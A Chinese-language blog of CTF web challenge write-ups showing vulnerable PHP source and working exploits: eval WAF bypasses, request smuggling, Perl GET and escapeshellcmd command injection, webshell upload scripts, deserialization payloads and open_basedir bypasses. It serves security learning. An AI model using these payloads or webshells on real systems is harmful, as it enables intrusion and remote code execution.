love math

知识点:代码审计,绕waf
直接给出源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); //字母,数字下滑线,加减乘除与等余等符号 匹配第一位为[a-zA-Z_\x7f-\xff]的任意一个字符,之后的字符为[a-zA-Z_0-9\x7f-\xff]的字符的0个,一个或者多个
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

限制:
1.输入的内容不能有$blacklist中的字符。
2.只匹配数字字母,一些符号。
3.函数只能是$whitelist的函数。
4.输入的长度不能80

绕过思路:

1.调用数学函数逐步拼凑出$_GET或$_POST,来接受参数。
2.异或得到$_GET或$_POST,来接受参数。

发现$符,;,{},,=,^没有被过滤.
第一种方法:我们需要一个变量考虑到字符长度问题。选取变量名为pi。因为需要$_GET,所以要拼出来_GET字符串,我们可以通过数字转字符串的方式,PHP中可以用16进制转字符串,用到的函数是hex2bin。但是十六进制数有字母,会被当成函数名,所以不能用。进而用十进制,我们需要把十六进制,用十进制显示,用到函数dechex,将十进制转化为十六进制。但是我们发现hex2bin并不在可以使用的函数列表,所以也必须用别的函数代替,我们发现base_convert函数,是将任意进制之间转换,且返回值类型为字符串类型。所以我们构造的_GET

$pi=base_convert(37907361743,10,36)(dechex(1598506324));

然后就是构造马的格式了:

($$pi){pow}($$pi{abs}) 即$_GET[pow]($_GET[abs]),用abs和pow是为了让payload变到最短,可以用log,min等替换

然后这就是一个GET样式的马。所以payload为:

/?abs=cat /flag&pow=system&c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}($$pi{abs})

第二种方法:
要拼出来_GET_POST字符串,我们可以通过异或的方式得到:
计算出能异或到 _GET_POST的值。进行拼接得到一个马。因为php两个字符串进行异或得到一个新的字符串。
异或脚本:

<?php
error_reporting(0);
header('content-type:text/html;charset=utf-8');
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
 foreach ($whitelist as $white){
     for ($a=0;$a<99999;$a++){
         $result=$white^decoct($a);
         if (strpos($result,'_POST')===0){
             echo $white."^decoct(".$a.") ";
             echo $result.'\n';
         }
     }
 }

得到:

hexdec^decoct(31737) _POST

之后同样是是拼成马,故payload:

/?c=$pi=hexdec^decoct(31737);($$pi){pow}($$pi{abs})

post:
pow=system&abs=cat /flag

[RoarCTF 2019]Easy Calc

知识点:代码执行,# HTTP请求走私
HTTP请求走私
计算器。首先想到的命令执行。
进入题目:
KEeiOs.png
发现说存在waf。。。抓包测试。。。
发现数据提交到clac.php
访问clac.php发现源码:

 <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

就过滤了这???有点懵啊。试试执行phpinfo,测试传入num=1;phpinfo()
KEeWcQ.png
what???禁止访问???传入num=1+1url编码后的值返回2。
这是什么原理???仔细想想说存在waf。经过测试存在http走私。
再次测试,传入

/? num=1;phpinfo()

成功执行,阅读phpinfo发现存在函数禁用:
KEMNyF.png
我们要找flag,肯定要看看目录:scandir()函数要用,但是参数是字符串,单、双引号被过滤。想起了chr()函数,把ascii码值转成字符连一起。就成了啊。同样可以用十六进制,但是需要用到dechex,把十进制数转十六进制。
脚本:

payload='1;var_dump(scandir(%s))'#file_get_contents
exp= "./" #/f1agg
res = ''
for i in exp:
    res += "chr(%s)."%(ord(i))
my_payload = payload%(res[:-1])
print my_payload

最后获得flag的payload:

/?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

同样,我们可以借鉴上面love math的第一种方法,用数学函数啊
要使用scandir函数,尝试构造列举根目录下的文件。scandir可以用base_convert函数构造,但是利用base_convert只能解决a~z的利用,因为根目录需要/符号,且不在a~z,所以需要hex2bin(dechex(47))这种构造方式。

最终用readfile构造payload:

/?%20num=base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))

[RoarCTF 2019]Simple Upload

知识点:代码审计,thinkphp
题目直接给出了源码:

<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
} 

显然是thinkphp写的。
namespace显示为: Home\Controller所以说模块名为Home,类名叫IndexController,所以控制器名叫Index。
我们上传的文件的函数名叫upload,所以触发器名字叫upload。所以文件上传的url应该为http://434e19a9-9d8a-4603-9f3f-fae4ff5ce6f0.node3.buuoj.cn/Home/Index/upload,但是我们访问之后返回404。然后尝试访问显示index触发器。发现也是404。尝试访问寻找入口文件:http://434e19a9-9d8a-4603-9f3f-fae4ff5ce6f0.node3.buuoj.cn/index.php。访问成功。加上index.php 访问上传路由。发现上传点。尝试传一个其他的模块。http://434e19a9-9d8a-4603-9f3f-fae4ff5ce6f0.node3.buuoj.cn/index.php/aaa发现thinkphp的版本是ThinkPHP3.2.4。

测试上传文件功能发现。功能正常。能够上传。
源码中限制了$_FILES[file]文件名不能是.php文件,得想办法绕过。

$upload->allowExts并不是Think\Upload类的正确用法,所以allowexts后缀名限制是无效的。
下载ThinkPHP3.2.4。的源码发现,保存的文件名为uniqid函数生成的,uniqid函数是基于以微秒计的当前时间计算的,两个同时上传生成的文件名相差不会太远。

加大爆破范围,最后爆破访问php文件成功直接返回flag。
脚本:

import requests
import time

url = "http://e9eca9a5-67cd-4ee5-9fcb-fc9701e5c789.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("test.txt",'a'), "file1":("a.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print t1
print r.content
t1 = int(t1, 16)
print t1

j = t1
while True:
    path = url + "/Public/Uploads/2019-12-08/%s.php" % hex(j)[2:-1]
    try:
        r = requests.get(path, timeout=1)
        time.sleep(0.5)
    except:
        continue
    while r.status_code == 429:
        try:
            r = requests.get(path, timeout=1)
            time.sleep(0.5)
        except:
            continue
    if r.status_code == 200:
        print path
        print r.text
        break
    print j, hex(j)[2:-1], r.status_code
    j -= 1

由于buu平台问题,访问过快会返回429,所以脚本有些不一样。

SSRFme

知识点: GET命令漏洞。
题目直接给出了源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

分析源码:
根据REMOTE_ADDR创建沙盒,且通过GET传入urlfilename两个参数。通过filename建立新的目录以及文件名,通过url进行shell_exec的GET命令执行,最终把执行的结果放在新生成的目录下的文件名中。

escapeshellarg函数:

MmLQsJ.png

1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

把传入的字符串加单引号,如果我传入的是ls,那么经过函数操作后就变成了'ls'。同时会对传入的单引号进行一些安全处理,例如传入l's,那么经过处理就会变成'l'\''s'

GET命令漏洞

根本原因还是在于perlGET函数底层实际上调用的是open处理,而在perl中,open是可以执行系统命令的。
MmO6B9.png
perl里的GET函数底层就是调用了open处理,并且open函数本身还支持file协议

alex ➜ ~ cat /usr/share/perl5/LWP.pm
...省略
=head2 File Request
The library supports GET and HEAD methods for file requests.  The
"If-Modified-Since" header is supported.  All other headers are
ignored.  The I<host> component of the file URL must be empty or set
to "localhost".  Any other I<host> value will be treated as an error.
Directories are always converted to an HTML document.  For normal
files, the "Content-Type" and "Content-Encoding" in the response are
guessed based on the file suffix.
Example:
  $req = HTTP::Request->new(GET => 'file:/etc/passwd');
...省略

综合看起来像是一个把文件名拼接入命令导致的命令执行。
本机测试:

alex ➜ ~  touch 'uname -a|'
alex ➜ ~  GET 'file:uname -a|'        
Linux hacker-virtual-machine 4.15.0-65-generic #74~16.04.1-Ubuntu SMP Wed Sep 18 09:51:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

通过以上命令成功执行。这里需要注意的是必须要有存在的文件名才能成功执行命令。所以建了一个uname -a|

所以这个题建立命令执行的文件名,再通过file协议去执行就可以了。

首先,我们需要看一下根目录文件。
构造payload:?url=/&filename=alex
访问沙盒http://391babb9-aed6-4d09-b73a-7c09e97707bd.node3.buuoj.cn/sandbox/58d6b1d73392c6051421c6a9a293f985/alex得到:
MnpNKf.png
发现有flag文件。可以直接读flag。

?url=/flag&filename=b

flag是空的???我去。。但是发现readflag文件,把他读出来。发现readflag似乎是一个二进制文件。

猜测可能需要通过触发readflag来读取flag。

所以需要构造文件名:bash -c /readflag,但是我们需要的是编译运行bash -c /readflag所以需要把输出显示出来。所以用管道符。构造payload:

url=&filename=bash -c /readflag|     //创建文件生成bash\ -c\ 下的readflag|文件。
url=file:bash -c /readflag|&filename=alex      //执行命令,把输出写入alex
http://391babb9-aed6-4d09-b73a-7c09e97707bd.node3.buuoj.cn/sandbox/58d6b1d73392c6051421c6a9a293f985/alex   显示flag。

在注意buuctf上做这个题。需要知道你对应的内网网关ip,可以通过开启一个linux-labs执行curl -v ctfd_frpc_1来查看。(坑点。。)

[BUUCTF 2018]Online Tool

知识点:PHP escapeshellarg()+escapeshellcmd()导致的参数注入
参考文章:
PHP escapeshellarg()+escapeshellcmd() 之殇
PHP-escapeshell-命令执行

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    //获取IP
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);   //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号
    $host = escapeshellcmd($host);   //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);   //新建目录,默认权限,最大可能的访问权
    chdir($sandbox);    //改变目录路径,成功返回true,失败返回false
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    // -sT,在目标主机的日志上记录大批连接请求和错误的信息
    // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令
    // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟
    // --host-time限制扫描时间
    // -F,快速扫描

主要的点在:

$host = escapeshellarg($host);   
$host = escapeshellcmd($host);

上一题说到escapeshellarg函数会先对host变量中的单引号进行转义,并且转义之后,在 \’ 的左右两边再加上单引号,变成 ‘\’’。
这里仔细讲一下这两个函数:

escapeshellarg

string escapeshellarg(string $arg)

转义字符串$arg中的单引号并使用单引号包裹此部分
使得$arg只能传递一个参数,且不能执行不同的命令

escapeshellcmd

string escapeshellcmd ( string $command )

转义`& # ; ` | * ? ~ < > ^ ( ) [ ] { } $` 、`x0A`和`xF`,`'`和`"`仅在落单时被转义

使得$command只能执行一个命令,但可以传递多个参数。

写一个例子:

<?php 
$param = "172.17.0.2' -v -d a=1";
$ep = escapeshellarg($param);
$eep = escapeshellcmd($ep);
$cmd = "curl ".$eep;
echo $ep."\n";
echo $eep."\n";
echo $cmd."\n";
system($cmd);

输出结果:
'172.17.0.2'\'' -v -d a=1'
'172.17.0.2'\\'' -v -d a=1\'
curl '172.17.0.2'\\'' -v -d a=1\'
* Rebuilt URL to: 172.17.0.2\/

解释:
escapeshellarg会把参数转义为'172.17.0.2'\'' -v -d a=1',然而escapeshellcmd会发现存在落单的单引号,会再次对单引号进行转义'172.17.0.2'\\'' -v -d a=1\'导致了\转义掉,故导致了单引号逃逸。
再来分析这个题:
nmap -oN选项表示将输出导入到文件中

看payload:

' <?php phpinfo();?> -oN shell.php '

经过escapeshellarg处理后:

''\'' <?php phpinfo();?> -oN shell.php '\'''

经过escapeshellcmd处理后:

''\\'' \<\?php phpinfo\(\)\;\?\> -oN shell.php '\\'''

这样就成功写入phpinfo了。

[ZJCTF 2019]NiZhuanSiWei

知识点:反序列化,php伪协议

题目直接给出源码:

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){第一关
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

这个题不难,第一关通过php://input伪协议,通过post传入welcome to the zjctf来控制变量text的值,
然后通过php://filter/read=convert.base64-encode/resource=useless.php来读取文件。

class Flag{  //flag.php  
    public $file;
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 

然后我们包含这个文件,用password的反序列化来读flag,这里有个坑点,就是他return的不是个flag,我们需要抓包来读。
payload:

/?text=php://input&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

post:
welcome to the zjctf

[SUCTF 2019]EasyWeb

知识点:php特性,绕过open_basedir
题目直接给出了源码:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

这个题分两关,第一部分是,绕过滤来执行get_the_flag函数。
首先,限制了长度小于等于18位,然后限制了字符种类。
count_chars函数,参数 “mode 3” 会返回包含所有用过的不同字符的字符串。这里限制无们使用字符的种类不能超过12中。
思路:通过字符异或得到我们想要的字符
首先,我们需要通过fuzz获取到没有被过滤的字符,然后进行异或得到,我们想要的。
fuzz脚本:

<?php

for ($ascii = 0; $ascii < 256; $ascii++) {
    if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
        echo bin2hex(chr($ascii));
        echo "\n";
    }
}
?>

然后,因为限制字符的长度,所以考虑字符长度问题,我们异或得到_GET最短,进行异或。
这里需要知道的奇淫技巧:

1.代码中没有引号的字符都自动作为字符串。
Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。
2.Ascii码大于 0x7F 的字符都会被当作字符串
3.php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型
4.PHP中的的大括号(花括号{})使用详解
$str{4}在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理
例:${_GET}{cmd}
5.字符串可以用!操作符来进行布尔类型的转换
<?php
var_dump(@a);   //string(1) "a"
var_dump(!@a);  //bool(false)
var_dump(!!@a); //bool(true)
6.PHP的弱类型特性
因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2
7.a-zA-Z使用自增变成下一个字母
'a'++ => 'b'
'b'++ => 'c'

根据以上内容先进行异或。
异或脚本:

#coding=utf-8
import requests
import urllib

l=[] #白名单
b=[] #黑名单
url='http://localhost/buuctf/suctf2019.php'
for x in range(0,256):
    # print urllib.quote(chr(x))
    url1=url+'?_='+urllib.quote(chr(x))
    # print url1
    data=requests.get(url1)
    if 'Try something else!' not in data.text:
        # print urllib.quote(chr(x))
        l.append(chr(x))
    else:
        b.append(chr(x))
def yihuo(str1,whitelist,blacklist):
    a1=[] 
    a2=[] 
    data='\''
    for j in str1:
        for h in whitelist:
            if ord(h)<=177: # 跳过\x7f前的字符
                continue
            res=chr(ord(j)^ord(h))
            if res not in blacklist:
                a1.append(urllib.quote(res))
                a2.append(urllib.quote(h))
                print 'succcess!--------'+j
                break
            if h == whitelist[-1]:
                print 'error!-----------'+j
    for n in a1:
        data+=n
    data+='\'^\''
    for m in a2:
        data+=m
    data+='\''
    return data

print yihuo('_GET',l,b)

得到_GET,即'%ED%F5%F7%E6'^'%B2%B2%B2%B2'。因为大于\x7f的字符默认是字符串类型,所以可以省去单引号。之后是构造执行函数:

${%ED%F5%F7%E6^%B2%B2%B2%B2}{%ED}();&%ED=phpinfo

直接执行phpinfo,我们发现存在disable_functions。
没办法直接执行命令。只能通过执行get_the_flag函数。

再来看get_the_flag函数,
过滤了后缀含有ph的文件,并且过滤了<?,这里用到了。htaccess文件和base64编码。来绕过过滤。
上传脚本:

import requests
import base64

url = "http://383c8fe1-feeb-4469-9e91-710d263e4bd3.node3.buuoj.cn/?_=${%ED%F5%F7%E6^%B2%B2%B2%B2}{%ED}();&%ED=get_the_flag"


htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.cc"

"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['c']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"

files = [('file',('.htaccess',htaccess,'image/jpeg'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text) 


files = [('file',('shell.cc',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

上传成功获得webshell。这里可以用bypass open_basedir的新方法.
payload:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

原理请参考:bypass open_basedir的新方法
如果php版本是php5的话可以尝试这个:php5全版本绕过open_basedir读文件脚本
但是这个题考的其实是 利用PHP-FPM绕过disable_functions
参考:从蚁剑插件看利用PHP-FPM绕过disable_functions
PHP连接方式和攻击PHP-FPM&* CTF echohub WP

  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • buuctf刷题记录

    前言最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷 hack world知识点:sql布尔盲注,bypass进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发...

    buuctf刷题记录
  • OGeek CTF 2019-Enjoy You Self

    前言最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。 Enjoy You Self线上环境:http://47.107.2...

    OGeek CTF 2019-Enjoy You Self
  • 2018n1ctf-esay-php复现

    前言最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。 环境搭建官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上d...

    2018n1ctf-esay-php复现
  • 刷题记录

    一步步慢慢绕题目: <?php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); if(is_array($a)){ ...

    刷题记录
  • sql注入新姿势-2019强网杯

    前言woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing 随便注首先,对题目进行测试尝试一下1'发现会得到报错,尝试一下万能密码1' or '1'='1,发现能够把当前表所有的值全部输出...

    sql注入新姿势-2019强网杯
  • ciscn线下部分题解

    前言ciscn华中赛区线下赛让我认识到自己是真的菜。。。总结一下这次比赛吧。 web1 <?php // ini_set("display_errors", "On"); // error_reporting(E_ALL | ...

    ciscn线下部分题解
  • 2019ddctfwriteup

    web滴~这是i春秋上的一个原题。(原题比这个好)进入页面发现观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base1...

    2019ddctfwriteup